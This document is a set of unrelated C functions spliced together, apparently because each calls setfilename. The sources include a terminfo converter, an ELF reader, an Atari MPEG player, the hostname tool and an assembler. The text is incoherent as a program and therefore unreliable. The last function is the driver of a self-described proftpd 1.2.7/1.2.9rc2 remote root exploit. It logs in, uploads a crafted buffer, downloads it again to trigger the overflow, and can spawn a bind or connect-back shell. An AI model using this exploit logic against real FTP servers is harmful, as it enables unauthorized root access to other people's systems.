static void use_file(char *filename) { FILE *termfile; char buffer[BUFSIZ]; if (verbose) (void) fprintf(trace, "reading from %s.\n", filename); if ((termfile = fopen(filename, "r")) == NULL) { (void) fprintf(stderr, "%s: cannot open %s for reading.\n", progname, filename); return; } copycomments++; setfilename(filename); while (fgets(buffer, BUFSIZ, termfile) != NULL) { if ((term_name = getterm_name(buffer)) != NULL) { setterm_name(); captoinfo(); } } }
static void handle_ident(char *s) { char *name; if(name=parse_name(&s)) setfilename(name); eol(s); }
/* Opens the output file and writes to it. */ static void writesource(void) { FILE *file; if (strcmp(outputfilename, "-")) { setfilename(outputfilename); file = fopen(outputfilename, "w"); if (!file) fail(NULL); } else { setfilename("stdout"); file = stdout; } setoutputfile(file); output(); if (fclose(file)) err(NULL); }
static void handle_file(char *s) { char *name; if(*s!='\"'){ syntax_error(7); return; } name=++s; while(*s&&*s!='\"') s++; if(*s!='\"') syntax_error(7); name=cnvstr(name,s-name); setfilename(name); eol(++s); }
/* Maps the input file into memory and runs the initial examination of * the ELF structures. */ static int readinputfile(void) { struct stat stat; void const *ptr; int fd; setfilename(inputfilename); fd = open(inputfilename, O_RDONLY); if (fd < 0) fail(NULL); if (fstat(fd, &stat)) fail(NULL); if (!S_ISREG(stat.st_mode)) fail("not a valid input file."); ptr = mmap(NULL, stat.st_size, PROT_READ, MAP_PRIVATE, fd, 0); if (ptr == MAP_FAILED) fail(NULL); close(fd); return readelf(ptr, stat.st_size); }
int do_formstuff(int obj_id) { int tfd; switch(obj_id) { case CTRL_STOP: if(Dsp_Hf1(-1)) /* If fast forwarding */ { if(windforms[WIND_CTRL].formtree[CTRL_FF].ob_state & SELECTED) toggle_object(&windforms[WIND_CTRL],CTRL_FF,SET_NORMAL); Dsp_Hf1(0); } if(replay || replay_pause) { if(windforms[WIND_CTRL].formtree[CTRL_PAUSE].ob_state & SELECTED) toggle_object(&windforms[WIND_CTRL],CTRL_PAUSE,SET_NORMAL); replay_pause=0; exit_replay(); update_time(); } break; case CTRL_PLAY: if(replay_pause || Dsp_Hf1(-1)) { if(windforms[WIND_CTRL].formtree[CTRL_FF].ob_state & SELECTED) toggle_object(&windforms[WIND_CTRL],CTRL_FF,SET_NORMAL); Dsp_Hf1(0); if(windforms[WIND_CTRL].formtree[CTRL_PAUSE].ob_state & SELECTED) toggle_object(&windforms[WIND_CTRL],CTRL_PAUSE,SET_NORMAL); continue_replay(); replay_pause=0; } else { if(!replay && file_open) { replay_pause=0; init_replay(); } else { if((tfd = open_file()) > 0) { int error; fd=tfd; if((error=getmp2info(fd))==MP2_NOERR) { replay_pause=0; update_time(); setfilename(filename); init_replay(); } else { show_mp2_error(error); close_file(fd); strcpy(windforms[WIND_CTRL].wind_title,"MPEG"); wind_set(windforms[WIND_CTRL].whandle,WF_NAME, windforms[WIND_CTRL].wind_title); setfilename("MPEGFILE"); } } } } break; case CTRL_PAUSE: if(replay_pause) { continue_replay(); replay_pause=0; } else { if(replay) { pause_replay(); replay_pause=1; } } break; case CTRL_LOAD: if((tfd = open_file()) > 0) { int error; if(windforms[WIND_CTRL].formtree[CTRL_PAUSE].ob_state & SELECTED) toggle_object(&windforms[WIND_CTRL],CTRL_PAUSE,SET_NORMAL); replay_pause=0; if(Dsp_Hf1(-1)) /* If fast forwarding */ { if(windforms[WIND_CTRL].formtree[CTRL_FF].ob_state & SELECTED) toggle_object(&windforms[WIND_CTRL],CTRL_FF,SET_NORMAL); Dsp_Hf1(0); } fd=tfd; if((error=getmp2info(tfd))==MP2_NOERR) { update_time(); setfilename(filename); } else { show_mp2_error(error); close_file(fd); strcpy(windforms[WIND_CTRL].wind_title,"MPEG"); wind_set(windforms[WIND_CTRL].whandle,WF_NAME, windforms[WIND_CTRL].wind_title); setfilename("MPEGFILE"); } } break; case CTRL_LOOP: looping=(windforms[WIND_CTRL].formtree[CTRL_LOOP].ob_state & SELECTED); break; case CTRL_INFO: /* Open info window */ if(windforms[WIND_INFO].wind_open) wind_set(windforms[WIND_INFO].whandle,WF_TOP); else { fg_init(&windforms[WIND_INFO]); wind_open(windforms[WIND_INFO].whandle, windforms[WIND_INFO].wind.x,windforms[WIND_INFO].wind.y, windforms[WIND_INFO].wind.w,windforms[WIND_INFO].wind.h); windforms[WIND_INFO].wind_open=1; } break; case CTRL_NEXT: if(file_open) { int o_replay,o_pause; if(Dsp_Hf1(-1)) /* If fast forwarding */ { if(windforms[WIND_CTRL].formtree[CTRL_FF].ob_state & SELECTED) toggle_object(&windforms[WIND_CTRL],CTRL_FF,SET_NORMAL); Dsp_Hf1(0); } o_replay = replay; o_pause = replay_pause; exit_replay(); while((tfd=next_song(path, filename, 1))!=0) { if(getmp2info(tfd)!=MP2_NOERR) { close_file(tfd); } else { if(file_open) close_file(fd); fd = tfd; file_open=1; update_time(); setfilename(filename); replay = o_replay; replay_pause = o_pause; if(replay) init_replay(); if(replay_pause) { init_replay(); pause_replay(); } break; } } if(!tfd) { update_time(); } } break; case CTRL_PREV: if(file_open) { int o_replay,o_pause; if(Dsp_Hf1(-1)) /* If fast forwarding */ { if(windforms[WIND_CTRL].formtree[CTRL_FF].ob_state & SELECTED) toggle_object(&windforms[WIND_CTRL],CTRL_FF,SET_NORMAL); Dsp_Hf1(0); } o_replay = replay; o_pause = replay_pause; /* if more than or one second of the song has elapsed, go to the beginning of of the same song! */ if(calc_time() > 0) { reset_file(fd); update_time(); replay = o_replay; replay_pause = o_pause; if(replay) init_replay(); if(replay_pause) { init_replay(); pause_replay(); } } else { exit_replay(); while((tfd=next_song(path, filename, 0))!=0) { if(getmp2info(tfd)!=MP2_NOERR) { close_file(tfd); } else { if(file_open) close_file(fd); fd = tfd; file_open=1; update_time(); setfilename(filename); replay = o_replay; replay_pause = o_pause; if(replay) init_replay(); if(replay_pause) { init_replay(); pause_replay(); } break; } } if(!tfd) { update_time(); } } } break; case CTRL_FF: if (windforms[WIND_CTRL].formtree[CTRL_FF].ob_state & SELECTED) Dsp_Hf1(1); else Dsp_Hf1(0); break; case CTRL_TIME: if(windforms[WIND_CTRL].formtree[CTRL_TIME].ob_state & SELECTED) count_dir = 0; /* count up */ else count_dir = 1; /* count down */ if(file_open) update_time(); break; default: break; } return 0; }
int handle_message(int pipe[8]) { static int first_open=0; int wnr,error; /* ,avmsg[8]; */ char *vamsg,*o; #ifdef DEBUG char tmp[128]; #endif switch (pipe[0]) { case AC_OPEN: if (pipe[4] == acc_id) { if(first_open) { if(windforms[WIND_CTRL].wind_open) wind_set(windforms[WIND_CTRL].whandle,WF_TOP); else fgbg=FG; } else { fg_init(&windforms[WIND_CTRL]); fgbg=FG; first_open=1; } } #ifdef DEBUG form_alert(1,"[1][Got AC_OPEN][Ok]"); #endif break; case AC_CLOSE: /* if (pipe[4] == acc_id) */ { #ifdef DEBUG sprintf(tmp,"[1][Got AC_CLOSE|ACC id: %d|pipe4: %d][Ok]",acc_id,pipe[4]); form_alert(1,tmp); #endif if(windforms[WIND_CTRL].wind_open) { wind_close(windforms[WIND_CTRL].whandle); wind_delete(windforms[WIND_CTRL].whandle); windforms[WIND_CTRL].wind_open=0; } if(windforms[WIND_INFO].wind_open) { wind_close(windforms[WIND_INFO].whandle); wind_delete(windforms[WIND_INFO].whandle); windforms[WIND_INFO].wind_open=0; } #ifdef DEBUG sprintf(tmp,"[1][Filepos: %ld][Ok]",filepos); form_alert(1,tmp); #endif file_was_open=file_open; if(file_open) close_file(fd); closed_acc=1; return 1; } /* break; */ case AP_TERM: quit=1; return 1; /* switch(pipe[5]) { case AP_RESCHG: printf("Got AP_RESCHG!\n"); break; case AP_TERM: printf("Got AP_TERM!"); break; default: printf("Got unknown AP_TERM!"); } */ /* break; */ case RESCHG_COMPLETED: /* printf("Got RESCHG_COMPLETED!"); */ break; case WM_REDRAW: if((wnr=find_windform(pipe[3]))>=0) update_objects(&windforms[wnr],windforms[wnr].firstobj, windforms[wnr].objdepth,pipe); break; case WM_MOVED: if((wnr=find_windform(pipe[3]))>=0) { wind_set(windforms[wnr].whandle,WF_CURRXYWH,pipe[4],pipe[5],pipe[6],pipe[7]); windforms[wnr].wind.x=pipe[4]; windforms[wnr].wind.y=pipe[5]; windforms[wnr].wind.w=pipe[6]; windforms[wnr].wind.h=pipe[7]; wind_calc(WC_WORK,windforms[wnr].windkind, windforms[wnr].wind.x,windforms[wnr].wind.y, windforms[wnr].wind.w,windforms[wnr].wind.h, &windforms[wnr].form.x,&windforms[wnr].form.y, &windforms[wnr].form.w,&windforms[wnr].form.h); windforms[wnr].formtree[windforms[wnr].firstobj].ob_x=windforms[wnr].form.x; windforms[wnr].formtree[windforms[wnr].firstobj].ob_y=windforms[wnr].form.y; windforms[wnr].formtree[windforms[wnr].firstobj].ob_width=windforms[wnr].form.w; windforms[wnr].formtree[windforms[wnr].firstobj].ob_height=windforms[wnr].form.h; if(replay) update_time(); } break; case WM_CLOSED: if((wnr=find_windform(pipe[3]))>=0) { wind_close(windforms[wnr].whandle); windforms[wnr].wind_open=0; if(wnr==WIND_CTRL) { if(windforms[WIND_INFO].wind_open) { wind_close(windforms[WIND_INFO].whandle); windforms[WIND_INFO].wind_open=0; } return 1; } else wind_delete(windforms[wnr].whandle); } break; case WM_TOPPED: if((wnr=find_windform(pipe[3]))>=0) wind_set(pipe[3],WF_TOP); break; case AP_DRAGDROP: if(wind_find(pipe[4],pipe[5]) == windforms[WIND_CTRL].whandle) { if(do_dragdrop(pipe,DD_OK)) { exit_replay(); if(windforms[WIND_CTRL].formtree[CTRL_FF].ob_state & SELECTED) toggle_object(&windforms[WIND_CTRL],CTRL_FF,SET_NORMAL); Dsp_Hf1(0); if(windforms[WIND_CTRL].formtree[CTRL_PAUSE].ob_state & SELECTED) toggle_object(&windforms[WIND_CTRL],CTRL_PAUSE,SET_NORMAL); replay_pause=0; filepos=0; fd=reopen_file(); filesize=Fseek(0L,fd,2); Fseek(0L,fd,0); if((error=getmp2info(fd))==MP2_NOERR) { update_time(); setfilename(filename); if(!(pipe[6] & K_ALT)) init_replay(); } else { exit_replay(); show_mp2_error(error); close_file(fd); strcpy(windforms[WIND_CTRL].wind_title,"MPEG"); wind_set(windforms[WIND_CTRL].whandle,WF_NAME, windforms[WIND_CTRL].wind_title); setfilename("MPEGFILE"); } } } else { do_dragdrop(pipe,DD_NAK); } break; case VA_START: vamsg=*((char **)&pipe[3]); strcpy(path,vamsg); /* This *should* be sent to the application which sent the VA_START msg, but it seems to hang Thing doing it. */ /* avmsg[0]=AV_STARTED; avmsg[1]=app_id; avmsg[2]=0; avmsg[3]=pipe[3]; avmsg[4]=pipe[4]; appl_write(pipe[1],5*2,avmsg); */ if((o=strchr(path,' '))!=NULL) o[0]='\0'; o=strrchr(path,'\\'); strcpy(filename,&o[1]); o=strrchr(path,'\\'); strncpy(o,"\\*.MP?",6); o[6] = '\0'; exit_replay(); if(windforms[WIND_CTRL].formtree[CTRL_FF].ob_state & SELECTED) toggle_object(&windforms[WIND_CTRL],CTRL_FF,SET_NORMAL); Dsp_Hf1(0); if(windforms[WIND_CTRL].formtree[CTRL_PAUSE].ob_state & SELECTED) toggle_object(&windforms[WIND_CTRL],CTRL_PAUSE,SET_NORMAL); replay_pause=0; filepos=0; fd=reopen_file(); filesize=Fseek(0L,fd,2); Fseek(0L,fd,0); if((error=getmp2info(fd))==MP2_NOERR) { update_time(); setfilename(filename); init_replay(); } else { exit_replay(); show_mp2_error(error); close_file(fd); strcpy(windforms[WIND_CTRL].wind_title,"MPEG"); wind_set(windforms[WIND_CTRL].whandle,WF_NAME, windforms[WIND_CTRL].wind_title); setfilename("MPEGFILE"); } break; default: #ifdef DEBUG sprintf(tmp,"[1][Unimplemented| message: %d][Ok]",pipe[0]); form_alert(1,tmp); #endif break; } return 0; }
int main(int argc, char **argv) { int c; char type = '\0'; int option_index = 0; int what = 0; char myname[MAXHOSTNAMELEN + 1] = {0}; char *file = NULL; static const struct option long_options[] = { {"domain", no_argument, 0, 'd'}, {"file", required_argument, 0, 'F'}, {"fqdn", no_argument, 0, 'f'}, {"help", no_argument, 0, 'h'}, {"long", no_argument, 0, 'f'}, {"short", no_argument, 0, 's'}, {"version", no_argument, 0, 'V'}, {"verbose", no_argument, 0, 'v'}, {"alias", no_argument, 0, 'a'}, {"ip-address", no_argument, 0, 'i'}, {"nis", no_argument, 0, 'y'}, {"yp", no_argument, 0, 'y'}, #if HAVE_AFDECnet {"node", no_argument, 0, 'n'}, #endif /* HAVE_AFDECnet */ {0, 0, 0, 0} }; #if I18N setlocale (LC_ALL, ""); bindtextdomain("net-tools", "/usr/share/locale"); textdomain("net-tools"); #endif program_name = (rindex(argv[0], '/')) ? rindex(argv[0], '/') + 1 : argv[0]; if (!strcmp(program_name, "ypdomainname") || !strcmp(program_name, "domainname") || !strcmp(program_name, "nisdomainname")) what = 3; if (!strcmp(program_name, "dnsdomainname")) what = 2; #if HAVE_AFDECnet if (!strcmp(program_name, "nodename")) what = 4; #endif /* HAVE_AFDECnet */ while ((c = getopt_long(argc, argv, "adfF:h?isVvyn", long_options, &option_index)) != EOF) switch (c) { case 'd': what = 2; break; case 'a': case 'f': case 'i': case 's': what = 1; type = c; break; case 'y': what = 3; break; #if HAVE_AFDECnet case 'n': what = 4; break; #endif /* HAVE_AFDECnet */ case 'F': file = optarg; break; case 'v': opt_v++; break; case 'V': version(); break; // not reached case '?': case 'h': default: usage(); break; // not reached }; switch (what) { case 2: if (file || (optind < argc)) { fprintf(stderr, _("%s: You can't change the DNS domain name with this command\n"), program_name); fprintf(stderr, _("\nUnless you are using bind or NIS for host lookups you can change the DNS\n")); fprintf(stderr, _("domain name (which is part of the FQDN) in the /etc/hosts file.\n")); exit(1); } type = 'd'; /* NOBREAK */ case 0: if (file) { setfilename(file, SETHOST); break; } if (optind < argc) { sethname(argv[optind]); break; } case 1: gethostname(myname, sizeof(myname)); if (opt_v) fprintf(stderr, _("gethostname()=`%s'\n"), myname); if (!type) printf("%s\n", myname); else showhname(myname, type); break; case 3: if (file) { setfilename(file, SETDOMAIN); break; } if (optind < argc) { setdname(argv[optind]); break; } if (getdomainname(myname, sizeof(myname)) < 0) { perror("getdomainname()"); exit(1); } if (opt_v) fprintf(stderr, _("getdomainname()=`%s'\n"), myname); printf("%s\n", myname); break; #if HAVE_AFDECnet case 4: if (file) { setfilename(file, SETNODE); break; } if (optind < argc) { setnname(argv[optind]); break; } getnodename(myname, sizeof(myname)); if (opt_v) fprintf(stderr, _("getnodename()=`%s'\n"), myname); printf("%s\n", myname); break; #endif /* HAVE_AFDECnet */ } exit(0); }
int main(int argc,char **argv) { int i; for(i=1; i<argc; i++) { if(argv[i][0]=='-'&&argv[i][1]=='F') { output_format=argv[i]+2; argv[i][0]=0; } if(!strcmp("-quiet",argv[i])) { verbose=0; argv[i][0]=0; } } if(!init_output(output_format)) general_error(16,output_format); if(!init_main()) general_error(10,"main"); if(verbose) printf("%s\n%s\n%s\n%s\n",copyright,cpu_copyright,syntax_copyright,output_copyright); for(i=1; i<argc; i++) { if(argv[i][0]==0) continue; if(argv[i][0]!='-') { if(inname) general_error(11); inname=argv[i]; continue; } if(!strcmp("-o",argv[i])&&i<argc-1) { if(outname) general_error(28,'o'); outname=argv[++i]; continue; } if(!strcmp("-L",argv[i])&&i<argc-1) { if(listname) general_error(28,'L'); listname=argv[++i]; produce_listing=1; continue; } if(!strcmp("-Lnf",argv[i])) { listformfeed=0; continue; } if(!strcmp("-Lns",argv[i])) { listnosyms=1; continue; } if(!strncmp("-Ll",argv[i],3)) { sscanf(argv[i]+3,"%i",&listlinesperpage); continue; } if(!strncmp("-D",argv[i],2)) { char *def=NULL; expr *val; if(argv[i][2]) def=&argv[i][2]; else if (i<argc-1) def=argv[++i]; if(def) { char *s=def; if(ISIDSTART(*s)) { s++; while(ISIDCHAR(*s)) s++; def=cnvstr(def,s-def); if(*s=='=') { s++; val=parse_expr(&s); } else val=number_expr(1); if(*s) general_error(23,'D'); /* trailing garbage after option */ new_abs(def,val); myfree(def); continue; } } } if(!strncmp("-I",argv[i],2)) { char *path=NULL; if(argv[i][2]) path=&argv[i][2]; else if (i<argc-1) path=argv[++i]; if(path) { new_include_path(path); continue; } } if(!strcmp("-unnamed-sections",argv[i])) { unnamed_sections=1; continue; } if(!strcmp("-ignore-mult-inc",argv[i])) { ignore_multinc=1; continue; } if(!strcmp("-nocase",argv[i])) { nocase=1; continue; } if(!strcmp("-noesc",argv[i])) { esc_sequences=0; continue; } if(!strcmp("-nosym",argv[i])) { no_symbols=1; continue; } if(!strncmp("-nowarn=",argv[i],8)) { int wno; sscanf(argv[i]+8,"%i",&wno); disable_warning(wno); continue; } else if(!strcmp("-w",argv[i])) { no_warn=1; continue; } if(!strncmp("-maxerrors=",argv[i],11)) { sscanf(argv[i]+11,"%i",&max_errors); continue; } else if(!strcmp("-pic",argv[i])) { pic_check=1; continue; } if(cpu_args(argv[i])) continue; if(syntax_args(argv[i])) continue; if(output_args(argv[i])) continue; if (!strncmp("-x",argv[i],2)) { auto_import=0; continue; } general_error(14,argv[i]); } if(inname) { setfilename(inname); setdebugname(inname); include_source(inname); } else general_error(15); if(!init_parse()) general_error(10,"parse"); if(!init_syntax()) general_error(10,"syntax"); if(!init_cpu()) general_error(10,"cpu"); parse(); if(errors==0||produce_listing) resolve(); if(errors==0||produce_listing) assemble(); if(errors==0&&!auto_import) undef_syms(); if(!listname) listname="a.lst"; if(produce_listing) write_listing(listname); if(!outname) outname="a.out"; if(errors==0) { if(verbose) statistics(); outfile=fopen(outname,"wb"); if(!outfile) general_error(13,outname); write_object(outfile,first_section,first_symbol); } leave(); return 0; /* not reached */ }
main(int argc,char **argv) { char buffer[BIGSIZE]; char cmdbuf[SIZE]; char srvbuf[SIZE]; char filename[30]; int j,a,b,port1; int total; char c; char *user=NULL; char *pass=NULL; char *localip=NULL; if(argc<2) usage(argv[0]); while((c = getopt(argc, argv, "d:t:u:p:l:h:o:"))!= EOF) { switch (c) { case 'd': server=optarg; break; case 't': type = atoi(optarg); if((type > sizeof(targets)/sizeof(v)) || (type < 1)) usage(argv[0]); break; case 'u': user=optarg; break; case 'p': pass=optarg; break; case 'l': localip=optarg; break; case 'h': cbhost=optarg; break; case 'o': pt=atoi(optarg) & 0xffff; break; default: usage(argv[0]); return 1; } } if(server==NULL || user==NULL || pass==NULL || localip==NULL) usage(argv[0]); printf("@---------------------------------------------------------@\n"); printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s #\n",VER); printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n"); printf("-----------------------------------------------------------\n"); printf("[+] Ret address:%p\n",targets[type-1].ret); if(cbhost==NULL) bindmethod=1; else { if((int)inet_addr(cbhost)==-1) { printf("[-] Invalid connect back host/ip\n"); exit(0); } bindmethod=0; } port1=34568; //PORT命令的时候在本地产生的一个端口. sockfd=sockfd1=sockfd2=0; sockfd=socket(2,1,0); if(client_connect(sockfd,server,PORT)<0) quit(); loginftp(user,pass); //port1=setpasv(); //get the pasv port setport(localip,port1); setfilename(filename,30); setascii(); total=createbuffer(buffer,BIGSIZE,type,cbhost); //printf("[+] buffer data size:%d\n",total); storbuf(filename,buffer,total,port1); //stor over, then close and reconnect close(sockfd); close(sockfd1); close(sockfd2); sockfd=socket(2,1,0); if(client_connect(sockfd,server,PORT)<0) quit(); //reconnect loginftp(user,pass); setascii(); setport(localip,port1); //get the pasv port,a new one mustread=total; retrbuf(filename,buffer,total,port1); readbuf("The First time read",sockfd,srvbuf,SIZE); port1++; setport(localip,port1); mustread=total; getshell=1; retrbuf(filename,buffer,total,port1); quit(); }